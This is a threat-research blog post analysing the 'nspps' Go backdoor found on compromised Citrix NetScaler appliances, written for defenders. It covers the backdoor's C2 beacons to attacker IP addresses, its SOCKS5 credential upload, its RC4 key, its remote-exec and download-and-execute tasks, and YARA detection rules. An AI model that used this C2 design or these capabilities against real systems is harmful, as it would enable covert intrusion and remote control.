At IronNet Threat Research, we're always looking for novel or "interesting" malware, to inform analysis that enhances our products' detection capabilities.
Recent compromises of specific Citrix products via the CVE-2019-197811234 vulnerability have been brought to light recently by the public exposure of several of the associated malicious software components involved in those events.
A trusted partner provided IronNet Threat Research with a copy of one of those components in isolation, a binary that appears to be a userspace remote access tool (RAT) or backdoor written in Go (a.k.a. "golang"), and built for use upon FreeBSD targets. It is a fully featured utility, and would be a suitable first stage for deployment via the exploitation scenario, though we weren't afforded endpoint details from the intrusion that might confirm that.
Brief, publicly available overview information on the RAT's functionality and related IOCs has been published, including summary notes from TrustedSec5 and X-Force IRIS6. TrustedSec's post associates "nspps" with coinminer activity based on "XMRig 5.5.0", and similar activity was also noted in the intrusion from which our sample was derived. The MD5 of the coinminer binary sample, 08f76eb3d62d53bff131d2cb0af2773d, is detected by several prominent AV engines and won't be covered here.
The "nspps" binary, however, was detected only by 1 out of 59 AV engines in VirusTotal7 as of April 17, 2020. That's interesting, so let's look a little further into what it actually is and does, to expand on some of the previously published information.
| Filename | nspps |
|---|---|
| Other Names Seen | klli |
| Bytes | 5903136 |
| MD5 | 568f7b1d6c2239e208ba97886acc0b1e |
| SHA1 | 3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79 |
| SHA256 | 5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6 |
| SSDEEP | 49152:UlXI4CgZBnDLT2zsFHvPguFZo9Tm4YPlQbgEINZkZg72c5RhiU0ThKtLoLrnqWQ:uBDTvboVm4Y7NZk2idwczQ |
| File "Magic" | ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), statically linked, stripped |
| Likely Compiler Version | Go 1.9.7 |
The file was provided to us from an incident response (IR) related to one of the noted intrusions. The filename "nspps" was observed, which is likely a hide-in-plain-sight attempt at blending into a process list alongside NetScaler appliance processes named "nsppe", which would be the name for legitimate instances of the NetScaler Packet Processing Engine process.
A VirusTotal lookup using one of the file's hashes shows that this same binary has also been seen using the file/process name "klli".
| Command and Control (C2) Server Addresses | DNS Resolution (as of March 17, 2020) |
|---|---|
| hxxp://188[.]120[.]254[.]224 | kindora85[.]fvds[.]ru |
| hxxp://46[.]229[.]215[.]164 | vds-cg30906[.]timeweb[.]ru |
| hxxp://62[.]113[.]112[.]127 | host-62-113-112-127[.]hosted-by-vdsina[.]ru |
Additionally, "nspps" stands up a SOCKS5 server "listen" on IP 0.0.0.0 (i.e. INADDR_ANY, to match on all of the target's available network interfaces), using a random TCP port number generated between the values 30000 and 32000 (inclusive), as well as 8-byte randomly generated "user" and 8-byte randomly generated "pass" values, for use in authentication to the SOCKS5 server. Upon startup, those values are delivered back to the connected C2 server.
| Our SOCKS5 Server "random" TCP Port (possibly constant per "nspps" binary) | 31458 |
|---|
The values used to build the strings for both "user" and "pass" are ASCII characters, generated from the range "[A-Za-z]".
During multiple runs, on 2 different FreeBSD platforms (8.4 and 12.1), "nspps" produced the same "random" values for the SOCKS5 TCP port number, "user" and "pass" values.
"nspps" uses functions in Go's "math/rand" package for pseudo-random number generation (PRNG), whose documentation mentions "Random numbers are generated by a Source. Top-level functions, such as Float64 and Int, use a default shared Source that produces a deterministic sequence of values each time a program is run. Use the Seed function to initialize the default Source if different behavior is required for each run."8
These SOCKS5 "random" values are generated in the "main.main" function during "nspps" startup, using "main" package functions that wrap calls to "math/rand" Go functions...
...as follows...
Curiously, the "Use the Seed function to initialize the default Source if different behavior is required for each run" part isn't done here until a bit later down in the code (specifically at offset 0x6EC552, "call math_rand_Seed")...
...so it appears that the "user", "pass" and TCP port "random" values returned from the unseeded Go PRNG may be constant for every instance of this "nspps" binary that's deployed.
Data payloads, with the exception of log messages, exchanged between the "nspps" client and its C2 server(s) are marshalled and obfuscated before sending by...
encoding/json.Marshall function, then...and deobfuscated and unmarshalled on the receiving side by...
Log messages, which should be ASCII text sequences, are shipped from "nspps" to its C2 server(s) without JSON marshalling, using only the RC4 encryption via crypto/RC4.Cipher_XORKeyStream.
The RC4 key used for encryption of the data payloads is the following, fixed 12-byte sequence, hardcoded within "nspps"...
| RC4 Encryption Key | Hexadecimal: [ 0x37 0x36 0x34 0x31 0x35 0x33 0x34 0x34 0x36 0x62 0x36 0x31 ]
(Rendered as ASCII, the key would appear as the 12 characters "764153446b61") |
|---|
| Advisory Lock File Employed | "/var/run/linux.lock" or "/tmp/linux.lock" |
|---|---|
| Writeable Directory, ".netscalerd" | "/var/tmp/.netscalerd" or "/tmp/.netscalerd" |
| Likely Implant ID File, "uuid" | "/var/tmp/.netscalerd/uuid" or "/tmp/.netscalerd/uuid" |
| Downloaded Files with Randomized Filenames | Filenames used to stage downloaded content from C2 server(s) are generated using random alphabetic bytes chosen from the range "[A-Za-z]". Note that deleted instances of these files may still be recoverable from the filesystem, if their inodes or disk allocation units have not been reused by subsequent filesystem activity. |
| Shell Script to Download Copy of "Masscan" Executable | Filename "firewire.sh", when needed, is extracted by "nspps" from within itself, written to its current working directory, made executable, executed, and then removed from disk |
| Binary Copy of "Masscan" Executable (if present) | Filename "firewire", downloaded into the current working directory of "nspps" |
Notes:
"nspps" extracts the following "firewire.sh" file from itself starting at file offset 0x3C4D1D for a length of 1400 (0x578) bytes...
| Filename | firewire.sh |
|---|---|
| Bytes | 1440 |
| MD5 | 0f40acb1e71ccdfda9c94a1b91546edf |
| SHA1 | 253a3900ef4828dc4d74075248f249789d81a6b0 |
| SHA256 | bad4bac373134a0457bf04271836c65373486902cfbb7ea756edd0b1fbab8a65 |
| File "Magic" | ASCII text |
The script should run on both Linux and FreeBSD platforms, though it contains a bit of Linux-centric content within.
Notes...
We did not receive a copy of "firewire" to examine, but given that...
...we believe "firewire" == "Masscan".
It's likely that "firewire" is used for any requisite port scanning to be performed within victim network space, and given the "fire" in "firewire" coupled with the indicated high-performance capability of the scanner, it may also be a vehicle used to conduct denial of service attacks in target space.
Following "nspps" startup on a lab FreeBSD 8.4 target, there were three initial connections attempted to its C2 endpoint(s). There appears to be a notion of a "current C2 server" within "nspps", effectively being the most recent C2 server to which it has successfully connected and exchanged data. At program startup, the "current C2 server" is set to the first network address in its list of C2 servers, "hxxp://188[.]120[.]254[.]224", and first attempts at connectivity will be initiated using that address.
The callouts are Web requests (2 "GET" and 1 "POST"), issued using the external Go package "github[.]com/go-resty/resty", an HTTP and REST client library for Go. Each of the callouts has its own periodicity, and via the "resty" package has a retry count, retry wait time, max retry wait time, and also implements a "backoff" algorithm, according to the package's' "README.md" notes.12 The "main" package's functions that perform each of these requests implement a default sleep time between retries of the respective request, mentioned in each request's notes, below.
The following three C2 callouts were observed from "nspps" at startup, within the same second. You'll note repetitive use of some of the following HTTP headers, including system survey information, probably for assuring proper selection of subsequent tasking, targeting and content downloads by the C2 server to match the requesting platform, software, and privilege levels...
1. "nspps" initiates a C2 server check sequence, by starting the new goroutine "main.healthChecker", which calls the "main.checkHealth" function to send out a "GET /h".
GET /h HTTP/1.1\r\n
Host: 188[.]120[.]254[.]224\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 2031\r\n
Os: freebsd\r\n
Osname: freebsd\r\n
Osversion: 8.4-release\r\n
Root: true\r\n
Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
The C2 server check will attempt to repetitively contact each of its 3 embedded addresses...
hxxp://188[.]120[.]254[.]224
hxxp://46[.]229[.]215[.]164
hxxp://62[.]113[.]112[.]127
...in turn, using the first one which successfully responds with a status code 200 ("OK") as its current C2 server. Between "health check" attempts, "main.healthChecker" will issue a "time.Sleep" call, pausing for 60 seconds before the next connection attempt.
GET /get HTTP/1.1\r\n
Host: 188[.]120[.]254[.]224\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 2031\r\n
Os: freebsd\r\n
Osname: freebsd\r\n
Osversion: 8.4-release\r\n
Root: true\r\n
Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
This request is issued by the "main.getTask" function, as part of a task solicitation and handling loop performed within the "main.main" function once it has completed initial setup and processing. If the C2 server responds with a status code 404 (i.e. "Not Found"), there are no tasks waiting to be performed at the present time.
Should a non-404 response be received, the returned response data, containing tasks and the parameters for performance of those tasks, is decrypted using our previously noted RC4 key by the "main.RC4" function, then unmarshalled via "encoding/json.Unmarshal", and returned to "main.main".
"main.main" passes the decrypted/unmarshalled tasking data to the "main.doTask" function, which contains a large "if/then/else" construct to validate the task string, and invokes the corresponding handler routine from within the "main" package to implement the desired functionality. Depending on the task, subsequent processing is performed either by direct function call, or via Go's concurrent processing capability, employing channels and multiple goroutines.
Each iteration of this "main.getTask/main.doTask" solicitation and processing attempt will be coordinated by a "time.Sleep" call which pauses for 10 seconds.
More detail on the specific tasks/commands supported within "nspps" and their functionality is presented in the following section, "Command and Control (C2) Protocol Summary".
POST /s HTTP/1.1\r\n
Host: 188[.]120[.]254[.]224\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 50\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\n
Mem: 2031\r\n
Os: freebsd\r\n
Osname: freebsd\r\n
Osversion: 8.4-release\r\n
Root: true\r\n
Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
<...followed by the next 50 bytes of that "application/octet-stream" data...>
HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH
HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH
HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH
HH HH
...where "HH" represents the actual byte values transmitted.
This request is a bit more interesting than the first two, because it also appends a 50-byte data payload, which can be decrypted and unmarshalled to obtain the target's SOCKS5 proxy information. After decryption with the previously noted RC4 key, the JSON-marshalled plaintext should appear as...
{"User":"UUUUUUUU","Pass":"PPPPPPPP","Port":NNNNN}
...where...
UUUUUUUU would be the random SOCKS5 server user authentication value
PPPPPPPP would be the random SOCKS5 server pass authentication value
NNNNN would be the random SOCKS5 server TCP port being used
Should this SOCKS5 initial "POST" connection be unsuccessful, it will be retried in a loop, with a "time.Sleep" call imposing a delay of 20 seconds between retries.
| From "nspps" to C2 Server | Request/Meaning | Format of Output Data | Format of Response from C2 Server |
|---|---|---|---|
| GET /h | Health/Connectivity Check | HTTP request and headers, no data payload | success: status code 200 ("OK") no other status specified in code |
| GET /get | Fetch the next "task" from C2 server | HTTP request and headers, no data payload | no tasks: status code 404 ("Not found") otherwise: there's tasking...
|
| POST /getT | Fetch the target list from C2 server | JSON + RC4
Unsure on content, but there is data, possibly to request targeting as required for specific tasks |
no targets: status code 404 ("Not found") otherwise: there's a target list...
|
| POST /l | Send log data to C2 server | RC4 only (no JSON) ASCII text log messages | success: status code 200 ("OK") no other status specified in code |
| POST /o | Send Exec output to C2 server | JSON + RC4
Output data from tasks |
success: status code 200 ("OK") no other status specified in code |
| POST /r | Send results from task processing to C2 server | JSON + RC4
Result data from tasks |
success: status code 200 ("OK") no other status specified in code |
| POST /s | Send new SOCKS5 server's user/pass/TCP port to C2 server | JSON + RC4
SOCKS5 server auth details |
success: status code 200 ("OK") no other status specified in code |
As mentioned above in "Initial C2 Callouts", "nspps" sends "GET /get" requests to its connected C2 server, asking for work.
If there is work available, the C2 server responds with a non-404 status code and a JSON-marshalled and RC4-encrypted data buffer containing a task string and parameters for the task's execution.
While purely static analysis (translation: lack of data from the C2 server side) doesn't provide us a 100% full understanding of every aspect of certain particular tasks at this time, here is an overview of each of the supported tasks found within "nspps", and the corresponding functionality of that task...
| Task String | Handler Function within "main" Package That Implements/Performs the Task |
|---|---|
| backconnect | "main.backconnect": starts a new goroutine at "main.backconnect_func1"...
|
| download_and_exec | "main.downloadAndExecute": starts a new goroutine at "main.downloadAndExecute_func1"...
|
| exec | "main.execTask": runs the supplied command directly, with no resultant output collected
|
| exec_output | "main.execTaskOut": starts a new goroutine at "main.execTaskOut_func1"...
|
| masscan | "main.masscan" handles this one...
|
| redis_brute | "main.runTask": implements multiple, concurrent instances of "main.redisBrute"
... if the loop completes, this "main.redisBrute" instance is completed.
|
| request | "main_runTaskWithHttp": implements multiple, concurrent instances of "main.request"
|
| scan | "main.runTaskWithScan": implements multiple, concurrent instances of "main.taskScan"
|
| socks | "main.socks": starts a new goroutine at "main.socks_func1"...
|
| tcp | "main.runTask": implements multiple, concurrent instances of the "main.tcpTask" function...
|
| update | "main.updateTask"...
|
Our copy of "nspps", which weighs in at just over 5.6 MB in size, bundles just over 7,000 separate functions, when disassembled using a recent version of IDA Pro.
Most of the content and functions are from Go "standard" packages, but the following publicly available Go utility packages are also observed in use within "nspps"...
| Package Name | Base Functionality |
|---|---|
| github[.]com/armon/go-socks5 | Implements SOCKS5 proxy communications between a client and server |
| github[.]com/go-resty/resty | An HTTP and REST client library for Go |
| github[.]com/google/btree | Provides an in-memory B-Tree data structure implementation |
| github[.]com/hashicorp/yamux | "Yet Another Multiplexer", provides stream-oriented communications multiplexing over TCP and/or Unix domain sockets |
| github[.]com/kardianos/osext | Some "extensions" to the base Go "os" package |
| github[.]com/kelseyhightower/envconfig | Library to manage configuration data from environment variables |
| github[.]com/nu7hatch/gouuid | Convenience package for generating RFC 4122 compliant UUID structures |
| github[.]com/op/go-logging | Implements a logging infrastructure, supporting syslog, file and memory backends with different log levels per individual backend and logger |
| github[.]com/paulbellamy/ratecounter | Provides a thread-safe rate-counter, for tracking counts in an interval |
| github[.]com/peterbourgon/diskv | A set of APIs for storing arbitrary data in a filesystem via a disk-backed key-value store |
| github[.]com/shirou/gopsutil | A self-described Go port of "psutil" (hxxps[:]//github[.]com/giampaolo/psutil), a "cross-platform lib for process and system monitoring in Python" |
...plus one additional package: "my/bot/single", which appears to be a slight modification of the publicly available Go package "github[.]com/marcsauter/single". "single" provides a convenient interface to advisory file locking, for several different platforms. This helps to assure single-instance execution of "nspps" on a target. The modification appears to be a provision for a secondary, alternate destination directory for the lock file via an "os.Tempdir" call, should access to the "/var/run" directory be denied for some reason. "os/Tempdir" is used within the newly added function "single.Filename2", calls to which have been inserted within both the "single.Single_Checklock" and "single.Single_TryUnlock" functions, when creating and removing the lock file, respectively.
Lastly, the malware developer's "main" package is where most of the application-specific processing is resident. Here is the list of the likely source files comprising the "main" package, as seen within embedded "nspps" strings...
| /app/command.go | /app/result.go | /app/task_exec_out.go |
| /app/counter.go | /app/sclient.go | /app/task_request.go |
| /app/exec.go | /app/storage.go | /app/task_scan.go |
| /app/fetcher_task.go | /app/sys_posix.go | /app/task_update.go |
| /app/main.go | /app/task.go | /app/tasks.go |
| /app/network.go | /app/task_exec.go | /app/utils.go |
Yara Rule for Detection of the RC4 Key Used by "nspps" for Encryption
rule nspps_RC4_Key {
meta:
author = "IronNet Threat Research"
date = "20200320"
version = "1.0.0"
description = "RC4 Key used in nspps RAT"
reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"
strings:
$s1 = { 37 36 34 31 35 33 34 34 36 62 36 31 }
condition:
all of them
}
Yara Rule for Detection of ASCII Strings Present in "nspps" Executable
rule nspss_executable_strings {
meta:
author = "IronNet Threat Research"
date = "20200320"
version = "1.0.0"
description = "ASCII strings seen in nspps RAT"
reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"
strings:
$s00 = "%s.lock" wide ascii
$s01 = ", pass " wide ascii
$s02 = ", user " wide ascii
$s03 = "/getT" wide ascii
$s04 = "/tmp/." wide ascii
$s05 = "/var/tmp/." wide ascii
$s06 = "Get task error" wide ascii
$s07 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" wide ascii
$s08 = "SKL=" wide ascii
$s09 = "Targets for task %d is empty" wide ascii
$s10 = "Targets getted, type cidr, size %d" wide ascii
$s11 = "Targets getted, type ip, size %d" wide ascii
$s12 = "Targets getted, type url, size %d" wide ascii
$s13 = "Task %d, executed in %s" wide ascii
$s14 = "Task %d, new targets setted, size %d" wide ascii
$s15 = "Task %d, processed %d/%d, left %d, thread %d, pps %d" wide ascii
$s16 = "Try to get targets for %d, offset %d" wide ascii
$s17 = "UpdateCommand: downloaded to %s" wide ascii
$s18 = "User-Agent:" wide ascii
$s19 = "curl" wide ascii
$s20 = "doTask with type %s"
$s21 = "exec_out" wide ascii
$s22 = "firewire.sh" wide ascii
$s23 = "get md5 of file error" wide ascii
$s24 = "invalid md5, actual %s, expected %s, url %s" wide ascii
$s25 = "libpcap-dev" wide ascii
$s26 = "masscan chmod output %s" wide ascii
$s27 = "sendSocks %s" wide ascii
$s28 = "socks port = " wide ascii
$s29 = "startCmd %s, pid %d" wide ascii
$s30 = "try to send %d results for task %d"
$s31 = "versionAndHash is empty" wide ascii
$s32 = "wget" wide ascii
$s33 = "Client sent AUTH, but no password is set" wide ascii
condition:
24 of them
}
Again, as of April 17, 2020, this binary was detected by only 1 out of 59 AV engines in VirusTotal. Given that...
...it's likely that this binary is malicious in nature, as some of this content appears to be out of the realm of legitimate, remote administration functionality.
We hope this post contains information that can aid in further detection, identification, and remediation of "nspps" and any other possibly related malicious software components, and associated infrastructure. Several methods can be used to identify network activity generated by this malware sample. The periodic communications described in the details above can be identified via network traffic analysis. Depending on the features available, however, it may be difficult to separate such malware activity from similar benign activity, resulting in many false-positive detections. The detection capabilities within the IronDefense Network Traffic Analysis platform use information from numerous features to produce fully-enriched events and prioritized alerts. These capabilities can be used to detect several aspects of C2 and tasking-related communication described in this blog post. The combination of behavioral detection models, enrichment, and prioritization enables the system to detect the signals emitted by these types of malware threats and reduce the time spent treating false positives.
IronNet’s Threat Research team will continue to examine malware and share findings with the community, so keep an eye out for future blog posts and tweets from @IronNetTR